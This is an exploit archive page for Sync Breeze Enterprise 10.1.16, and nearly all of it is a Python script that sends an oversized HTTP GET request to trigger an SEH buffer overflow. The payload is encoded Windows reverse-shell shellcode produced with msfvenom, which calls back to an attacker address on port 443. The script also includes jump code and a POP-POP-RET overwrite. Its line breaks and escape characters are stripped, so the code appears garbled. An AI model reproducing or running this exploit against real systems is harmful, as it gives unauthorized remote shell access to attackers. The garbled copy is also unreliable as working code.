Sync Breeze Enterprise 10.1.16 SEH Overflow
Posted on 12 October 2017
#!/usr/bin/env python # # Exploit Title : Sync Breeze Enterprise v10.1.16 0day # Date : 10/11/2017 # Vendor HomePage : http://www.syncbreeze.com # Exploit Author : Milton Valencia (wetw0rk) # Software : http://www.syncbreeze.com/downloads.html # Version : 10.1.16 # Tested on : Windows 7 (x86) # # Description : Sync Breeze Enterprise 10.1.16 suffers from a SEH based # vulnerability. Successful exploitation results in remote # access. # # Special Greetz : Corelan, Offsec, Abatchy (top llama), Seamus, N4ss4r # Ryan, Miguel (best boss..), everyone at https://netsecfocus.slack.com/ # import sys, socket, struct try: host = sys.argv[1] port = int(sys.argv[2]) except IndexError: print "Usage: %s <target> <port>" % sys.argv[0] print "Example: %s 192.168.0.16 80" % sys.argv[0] sys.exit(0) print "[->] Attacking %s:%d get that handler up" % (host,port) # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.16 LPORT=443 # -e x86/alpha_upper -b "x00x0ax0d" -f c shellcode = ( "x89xe3xdaxdfxd9x73xf4x5ex56x59x49x49x49x49x43" "x43x43x43x43x43x51x5ax56x54x58x33x30x56x58x34" "x41x50x30x41x33x48x48x30x41x30x30x41x42x41x41" "x42x54x41x41x51x32x41x42x32x42x42x30x42x42x58" "x50x38x41x43x4ax4ax49x4bx4cx5ax48x4cx42x33x30" "x35x50x53x30x33x50x4bx39x4ax45x46x51x39x50x35" "x34x4cx4bx30x50x46x50x4cx4bx46x32x44x4cx4cx4b" "x36x32x42x34x4cx4bx53x42x46x48x54x4fx4ex57x30" "x4ax56x46x56x51x4bx4fx4ex4cx37x4cx55x31x43x4c" "x34x42x36x4cx47x50x59x51x58x4fx44x4dx43x31x38" "x47x4dx32x5ax52x50x52x46x37x4cx4bx30x52x42x30" "x4cx4bx31x5ax37x4cx4cx4bx50x4cx54x51x54x38x4b" "x53x30x48x55x51x38x51x50x51x4cx4bx51x49x37x50" "x35x51x59x43x4cx4bx50x49x54x58x4bx53x57x4ax30" "x49x4cx4bx46x54x4cx4bx53x31x59x46x50x31x4bx4f" "x4ex4cx59x51x48x4fx34x4dx45x51x38x47x57x48x4b" "x50x53x45x5ax56x43x33x53x4dx4cx38x47x4bx43x4d" "x46x44x53x45x4ax44x36x38x4cx4bx31x48x46x44x35" "x51x4ex33x52x46x4cx4bx44x4cx50x4bx4cx4bx50x58" "x45x4cx33x31x48x53x4cx4bx44x44x4cx4bx43x31x58" "x50x4cx49x50x44x36x44x36x44x51x4bx51x4bx35x31" "x31x49x31x4ax36x31x4bx4fx4dx30x31x4fx51x4fx31" "x4ax4cx4bx55x42x5ax4bx4cx4dx31x4dx32x48x46x53" "x50x32x53x30x35x50x33x58x34x37x34x33x30x32x31" "x4fx56x34x53x58x50x4cx33x47x46x46x45x57x4bx4f" "x39x45x38x38x5ax30x35x51x45x50x35x50x36x49x49" "x54x46x34x46x30x35x38x37x59x4dx50x42x4bx33x30" "x4bx4fx59x45x56x30x56x30x30x50x36x30x47x30x36" "x30x57x30x46x30x42x48x5ax4ax44x4fx39x4fx4dx30" "x4bx4fx4ex35x5ax37x43x5ax44x45x32x48x39x50x4f" "x58x45x50x42x30x32x48x43x32x43x30x45x51x4fx4b" "x4dx59x4ax46x43x5ax32x30x31x46x51x47x43x58x4d" "x49x4ex45x54x34x33x51x4bx4fx48x55x4dx55x49x50" "x54x34x34x4cx4bx4fx50x4ex55x58x43x45x4ax4cx33" "x58x4cx30x38x35x4ex42x31x46x4bx4fx49x45x43x58" "x55x33x52x4dx33x54x35x50x4dx59x5ax43x46x37x30" "x57x51x47x50x31x5ax56x32x4ax52x32x51x49x36x36" "x4dx32x4bx4dx52x46x4fx37x51x54x31x34x37x4cx33" "x31x55x51x4cx4dx50x44x31x34x42x30x58x46x33x30" "x47x34x31x44x46x30x31x46x56x36x46x36x51x56x46" "x36x50x4ex50x56x56x36x31x43x30x56x53x58x32x59" "x58x4cx47x4fx4bx36x4bx4fx4ex35x4cx49x4bx50x30" "x4ex46x36x50x46x4bx4fx36x50x42x48x53x38x4bx37" "x35x4dx45x30x4bx4fx59x45x4fx4bx4cx30x38x35x4f" "x52x56x36x33x58x4fx56x4ax35x4fx4dx4dx4dx4bx4f" "x48x55x57x4cx34x46x33x4cx34x4ax4dx50x4bx4bx4d" "x30x44x35x33x35x4fx4bx51x57x34x53x42x52x42x4f" "x53x5ax35x50x46x33x4bx4fx48x55x41x41" ) # objdump2shellcode -d shellcode -f python -c -v jumpcode jumpcode = "" jumpcode += "x25x4ax4dx4ex55" # and eax,0x554e4d4a jumpcode += "x25x35x32x31x2a" # and eax,0x2a313235 jumpcode += "x2dx37x37x37x37" # sub eax,0x37373737 jumpcode += "x2dx74x74x74x74" # sub eax,0x74747474 jumpcode += "x2dx55x54x55x70" # sub eax,0x70555455 jumpcode += "x50" # push eax jumpcode += "x25x4ax4dx4ex55" # and eax,0x554e4d4a jumpcode += "x25x35x32x31x2a" # and eax,0x2a313235 jumpcode += "x2dx2dx76x7ax63" # sub eax,0x637a762d jumpcode += "x2dx2dx76x7ax30" # sub eax,0x307a762d jumpcode += "x2dx25x50x7ax30" # sub eax,0x307a5025 jumpcode += "x50" # push eax jumpcode += "xffxe4" # jmp esp offset = "A" * (2495-len(shellcode)) # offset to nSEH nSEH = "x74x06x75x06" # JE/JNZ -> jumpcode SEH = struct.pack('<L', 0x1001C65C) # POP,POP,RET (libspp.dll) trigger = "D" * (9067 - len( jumpcode + offset + nSEH + SEH ) ) buffer = shellcode + offset + nSEH + SEH + jumpcode + trigger vulnREQ = "GET /%s HTTP/1.1 " % (buffer) print "[->] sending poisonous bamboo" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(vulnREQ)
